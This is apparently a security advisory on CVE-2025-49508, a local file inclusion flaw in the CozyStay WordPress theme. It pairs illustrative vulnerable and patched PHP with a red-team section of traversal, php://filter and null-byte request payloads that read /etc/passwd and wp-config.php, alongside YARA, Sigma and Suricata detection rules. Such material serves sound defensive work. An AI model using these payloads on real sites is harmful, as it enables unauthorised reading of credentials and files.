CVE-2025-49508

Executive Summary

CVE-2025-49508 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the CozyStay WordPress theme by LoftOcean, versions prior to 1.7.1. The vulnerability stems from improper control of a filename used in an include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading /etc/passwd, database configuration files, or WordPress wp-config.php. The CVSS score of 8.1 (High) reflects the ease of exploitation (network-based, low complexity, no privileges required) and the high impact on confidentiality.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem as a premium theme. It is not distributed via NPM, PyPI, Go, or Ruby registries. The risk is amplified for users who obtained the theme from unofficial sources or have not applied the vendor’s update. Since the patch status is unknown, users must manually verify their theme version and apply mitigations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit with publicly available techniques, and the impact on confidentiality is severe.

Deep Dive & Mechanics

The vulnerability exists in the CozyStay theme’s PHP code, likely within a template or shortcode handler that dynamically includes files based on user-supplied input. The improper control of the filename allows path traversal sequences (e.g., ../../) to escape the intended directory.

Root Cause: The theme uses a function like include($file); or require($file); where $file is derived from a GET/POST parameter without proper sanitization or validation. For example:

$template = $_GET['template'];
include( get_template_directory() . '/templates/' . $template . '.php' );

An attacker can supply ../../../../etc/passwd%00 to null-terminate the string and read arbitrary files.

Attack Flow:

1. Attacker identifies a vulnerable endpoint (e.g., ?template=...).
2. Attacker crafts a payload with path traversal and null byte injection (if PHP < 5.3.4) or uses PHP wrappers like php://filter.
3. The server includes the attacker-controlled file, outputting its contents.

Vulnerable vs. Patched Code

Vulnerable Code (CozyStay < 1.7.1):

// vulnerable.php
$file = $_GET['file'];
include( 'includes/' . $file . '.php' );

Patched Code (CozyStay >= 1.7.1):

// patched.php
$allowed_files = array('header', 'footer', 'sidebar');
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
    include( 'includes/' . $file . '.php' );
} else {
    // error handling
}

The patch implements a whitelist of allowed filenames, preventing arbitrary inclusion.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running CozyStay theme < 1.7.1.
• PHP version may affect null byte injection success.

Exploit Payloads:

1. Basic LFI (Path Traversal):

   GET /?template=../../../../etc/passwd HTTP/1.1
   Host: target.com
   

2. PHP Wrapper for Source Code Disclosure:

   GET /?template=php://filter/convert.base64-encode/resource=wp-config.php HTTP/1.1
   Host: target.com
   

3. Null Byte Injection (PHP < 5.3.4):

   GET /?template=../../../../etc/passwd%00 HTTP/1.1
   Host: target.com
   

Lab Setup:

• Install WordPress with CozyStay theme version 1.7.0.
• Use a local server (e.g., XAMPP, Docker) with PHP 5.6 to test null byte.
• Monitor server logs for inclusion attempts.

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for ../ or php:// patterns in GET parameters.
• Look for requests to theme files with suspicious template or file parameters.
• Use the Sigma rule below to detect path traversal attempts.

Response:

• Immediately block the attacking IP.
• Check for signs of file disclosure (e.g., unexpected output in responses).
• Verify theme version and apply patch if available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing ../ or php://filter in query parameters.
  • Requests to /wp-content/themes/cozystay/ with unusual parameters.
• File IOCs:
  • Presence of /etc/passwd or wp-config.php content in web server logs.
• Log IOCs:
  • PHP warnings like include(../../etc/passwd.php): failed to open stream in error logs.

Detection Engineering

YARA Rule

rule CVE_2025_49508_LFI_CozyStay {
    meta:
        description = "Detects LFI attempts targeting CozyStay theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49508"
    strings:
        $path_traversal = /\.\.\/|\.\.\\/
        $php_wrapper = /php:\/\/filter/
        $cozystay_param = /template=|file=|page=/
    condition:
        any of ($path_traversal) and any of ($php_wrapper) and any of ($cozystay_param)
}

Sigma Rule

title: CVE-2025-49508 CozyStay LFI Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal or PHP wrapper usage in CozyStay theme parameters
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - 'php://filter'
        cs-uri-stem|contains: '/wp-content/themes/cozystay/'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns in other contexts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49508 CozyStay LFI Attempt"; flow:to_server,established; content:"/wp-content/themes/cozystay/"; http_uri; content:"../"; http_uri; distance:0; content:"php://filter"; http_uri; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade CozyStay theme to version 1.7.1 or later if available. If not, disable the theme and switch to a secure alternative.
2. Virtual Patching: Use a WAF (e.g., ModSecurity) to block requests containing ../ or php:// in query parameters.
3. Code Hardening: If you have access to the theme code, implement a whitelist of allowed files for inclusion.
4. Monitoring: Enable detailed logging for web server and PHP errors. Review logs for suspicious inclusion attempts.
5. Least Privilege: Ensure the web server runs with minimal file system permissions to limit the impact of LFI.

Valters IT – Securing digital frontiers, one CVE at a time.